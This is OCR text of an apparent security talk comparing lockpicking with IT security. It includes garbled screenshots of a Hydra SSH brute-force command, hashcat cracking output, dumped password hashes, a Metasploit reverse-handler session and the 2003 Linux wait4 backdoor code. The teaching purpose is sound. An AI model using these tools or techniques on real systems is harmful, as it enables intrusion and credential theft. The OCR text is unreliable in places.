— Madison
urkha

Your Security is Our Business

Lockpicking and
IT Security

Walter Belgers
walter@madison-gurkha.com / walter@toool.nl



urkha

Your Security is Our Business

Walter Belgers

Principal Security
Consultant at
Madison Gurkha

President of TOOOQOL

Fastest lockpicker :)

TePeL

The Open Organisation Of Lockpickers

www.madison-gurkha.com - info@madison-gurkha.com









Armitage View Hosts Attacks Workspace

_ I ms04_011_lsass
ms04_031_netdde
I ms05_039_pnp

s 5
ms06_025_rasmans_reg /] 7
ms06_025_rras
ms06_040_netapi

ms06_066_nwapl 192.168.1.203 192.168.1.206
ms06_066_nviwks NT AUTHORITY\SYSTEM @ NENAXPHGRTIUNVSYSTEM @ XEN-XP-PATCHED
| ms06_070_wkssvc
ms07_029_msdns_zonename
1 ms08_067_netapi
ms09_050_smb2_negotiate_func _ir
_ | msl0_061_spoolss
netidentity xtierrpcpipe

(o7

/]
L §

smb_relay 192.168.1.201 192.168.1.205
timbuktu_plughntcommand_bof NT AUTHORITY\SYSTEM @ \H—\P—Mﬂ' AUTHORITY\SYSTEM @ XEN-2K3-FUZZ
- JH‘ smtp r /] "
> [ ssh

Y.

192.168.1.204

]Console X [ scanner/smb/smb_version X ] scanner/portscan/tcp X ] Services X | Credentials X | Meterpreterl X |

user 4 pass host

Administrator 8lcbceaBagaf93bbaad3b4a35b51404ee:561... 192.168.1.201

Guest aad3b435b51404eeaad3b435b51404¢ee:31... 192.168.1.201

HelpAssistant 9a6ae26408b0629ddc621¢90c897b42d:07a... 192.168.1.201

SUPPORT_388945a0( aad3b435b51404eeaad3bd35b51404ee:ebf... 192.168.1.201

victim 8lcbceaBa9af93bbaad3b435b5S1404ee:561... 192.168.1.201
Export

www.madison-gurkha.com - info@madison-gurkha.com



Design - software

® Security often a small component in software and
hence, often an afterthought

® Functionality is more important than security
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Design - locks

Locks are always there to provide security,
so no afterthought

Lock manufacturers are good in specifying
requirements

Risks are pretty well understood (but not by
all!)

Locks are tested (e.g. for certification)
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Design - locks

® Secure against what!?

® Key control (who can copy)

® Protection against destructive attacks
(drilling, pulling, breaking)

( 7
® Protection against non-destructive attacks \ y
(lockpicking, bumping, impressioning) g

® Tight cost and space constraints
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Design: KABA E-plex 5800




www.madison-gurkha.com - info@madison-gurkha.com



www.madison-gurkha.com - info@madison-gurkha.com



www.madison-gurkha.com - info@madison-gurkha.com




Implementation error




animation: Deviant Ollam
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Implementation error




o

PEBKAC

® Awareness is \7’
always a problem

® Password guessing

® Social Engineering

® Showing your keys..
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Showing (master) keys

NBCL

BAY AREA

http://www.nbcbayarea.com/investigations/One-Gas-Pump-Key-Lets-Thieves-Steal-Your-1D- 17799975 | .html
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Showing (master) keys
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Backdoors

N.S.A. Able to F011 Basic Safeguards of Privacy on Web

By NICOLE PERLROTH JEFF LARSO d SCOTT SHANE

ublished: September 5, 2013

AT/ N
W AMNINS uu <s1
;s shirt is classified a5 & munitjo,
\y 10t be exported from the Un"’ﬁ
res, or shown to a (oreign nyy; q

The National Security Agency is winning its long-running secret war oA
on encryption, using supercomputers, technical trickery, court orders encryption in pert
and behind-the-scenes persuasion to undermine the major tools

protecting the privacy of everyday communications in the Internet ] _j A mmmnnm}i
age, according to newly disclosed documents. - ) .',',“l'{,'..'l'a“‘“%é"
X AT

But on Nov. 5, 2003, Larry McVoy noticed that there was a code change in the CVS copy that did not have
record of approval. Investigation showed that the change had never been approved and, stranger yet, that
not appear in the primary BitKeeper repository at all. Further investigation determined that someone had apparently broken
in (electronically) to the CVS server and inserted this change.

What did the change do? This is where it gets really interesting. The change modified the code of a Linux function called
wait4, which a program could use to wait for something to happen. Specifically, it added these two lines of code:

if ((options == (_ WCLONE|_ WALL)) && (current->uid = 0))

retval = ~EINVAL;
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Root user

e Often, there is an omnipotent user
® root

® Domain Administrator
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Using sample code

XSS vulnerability in example code provided
with developer account

| created a test developer account. The code provided by default for the Blog collection's list page

has an XSS vulnerability that allows a arbitrary javascript to be run by injecting code in a URL

param. For example, displaying cookies, which could contain user data:
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Using sample ‘code’

B
\‘ﬂf
Don't try thls at ho?hj

http://www.youtube.com/watch?v=Ti9S | qzPXTI




Remember showing keys!?




Oday

_______________ — CVE-2009-4324

Attacks S
100000 - /_____.CVE-zmo-oozs
— e - CVE-2009-0084
10000 4
1000 -
100 -

-n-
_____
-
P

60 -40 20 20 40 60 80
Time [weeks]
(a) Attacks exploiting zero-day vulnerabilities before and after the

disclosure (time = o).
http://users.ece.cmu.edu/~tdumitra/public_documents/bilge|2_zero_day.pdf
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isclosure
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PR

Bugs bust open 'unbreakable'
Oracle 9i

Summanry: Oracle's pledge that the database software is totally secure is thrown into doubt after
a number of flaws are found--including one that could let hackers take control of corporate

Servers.
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OPEN IN THIRTY SECONDS:

Cracking One of the Most Secure
Locks in America

Marc Weber Tobias
Tobias Bluzmanis
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Brute force attacks

Initializing hashcat vB.37 by atom with 8 threads and 32mb segment—size...

OTE: press enter for status—screen

Skipping line: 67d76bh47249h52h4cal1Ba3558d3844f8 (line length exception>
Added hashes from file C:/HashCat/hashes.txt: 4 (1 salts)
bafd63afaebf?7421108108fB2bab2albh3e:elizabethl
24395h142£202437a55f7c52f6£fc£f82d3 : luphudever
3fccfabhae3d14h2642?7c26d0B418ef :francisl123

27cB555ea55ecfcdhafllchB22681dda3f :duodinamico

All hashes have heen recovered .

HydraGTK
:\HashCat\hashcat—gui-@.4.6\hashcat> Quit

Target Passwords Tuning Specific| Start

Output

Hydra v5.9.1 (¢) 2010 by van Hauser / THC - use allowed only for legal purpos
Hydra (http://www.thc.org) starting at 2011-08-13 08:42:47

[DATA] 9 tasks, 1servers, 9 login tries (l:1/p:9), ~1 tries per task

[DATA] attacking service ssh2 on port 22

0.0 0 csan@lab: ~ [STATUS] attack finished For 192.168.1.95 (waiting For childs to finish)

File Edit View Terminal Tabs [22][ssh2] host: 192.168.1.95 login: user1 password: password

Hydra (http://www.thc.org) finished at 2011-08-13 08:42:55

<finished>

root@lab: ~ # c4an@lab: ~ ® c4an@lab: ~

200 | 17922 .299875603
200 | 17922 .333344313
200 | 17922 .339340047
200 | 17922 .385034053
200 | 17922 .385011147
200 | 17922 .312059974
200 | 17922 .299492105
200 | 17922 .325678395
200 | 17922 .326270229
| 200 | 17922 | 6.385620235
| 200 | 17922 | 6.318965739
| 200 | 17922 | 0.319369422
| 200 | 17922 | 0.521124752
| 200 | 17922 | 0.350261059
| 200 | 17922 | 0.38R608143
| 200 | 17922 | 6.272194853
| 200 | 17922 | 0.328217966
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
|

CONOUVHWN -

200 17922 .316564038
200 17922 .338453205
200 17922 .388564393
200 17922 .292836802 | ccc Start Stop Save Output Clear Output
200 17922 .341261946 EEE] =
200 | 17922 .370826595 | cba hydra 192.168.1.95 ssh2 s 22 -l user1 -P /home/user/qugmg;:_tsjpg'sjﬁ.}U‘,
| 200 | 17922 .38206699 | bbb L o
Auxiliary module execution completed
msf auxiliary(http_fuzz) > ||

bca
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Brute force attacks
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Brute force attacks
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Denial of Service

r - I ]
ay Low Orbit lon Canncn | When harpoons, air strikes and nukes fail | v.1.0.0.0 N

1. Select your target 2. Ready?

URL

IMMA CHARGIN MAH LAZER

p 127004

TCPJUDF message

A cat 15 fne o0, Desudesudeasu~

Praetoxicom
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Denial of Service
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Denial of Service




Sequential attacks

® “Unknown user” versus “Incorrect password”

® Timing attacks
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Sequential attacks
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Sequential attacks

=

www.madison-gurkha.com - info@madison-gurkha.com



Sequential attacks

=
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Security testing

® | et an experienced security consultant look at the
security!?

® Use automated vulnerability scanners?

® Certification?

www.madison-gurkha.com - info@madison-gurkha.com



10N

ficat

Cert

UL

son-gurkha.com




Tooling

Attack Sophistication vs. Intruder Technical Knowledge

lich : 2©
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Tooling
A

http://www.revk.uk/2013/12/abs-lock-vs-3d-printer.html

www.KEYMAX de
S —————————————
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You get what you pay for

® You can’t see how secure a piece of software is

® We can't all be security experts
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You get what you pay for

® With locks, you can see something

® But does it mean anything!?




You get what you pay for

® With locks, you can see something

® But does it mean anything!?

03431 00216
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Awareness

® Always a problem..

http://krebsonsecurity.com/201 | /08/beware-of-juice-jacking/
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Awareness

www.madison-gurkha.com - info@madison-gurkha.com



Holistic view

® You are depending on the environment

® You are as secure as the weakest link

exploit(handler) >
exploit(handler) > exploit

Started reverse handler on 192.168.84.1:80
Starting the payload handler...
Sending stage (749056 bytes) to 192.168.84.134

Meterpreter session 1 opened (192.168.84.1:80 -> 192.168.84.134:1026) at Sun Jan 09

meterpreter >
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Holistic view
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Threat modeling

user

r

SSO0 traffic

SSO traffic

CmMms
operator

llllllllll““” Iy,
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Business
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Database

HTTP /[

1,
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Database
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Thank you for
your attention

Any questions?

walter@madison-gurkha.com
© +31(0)40-2377990
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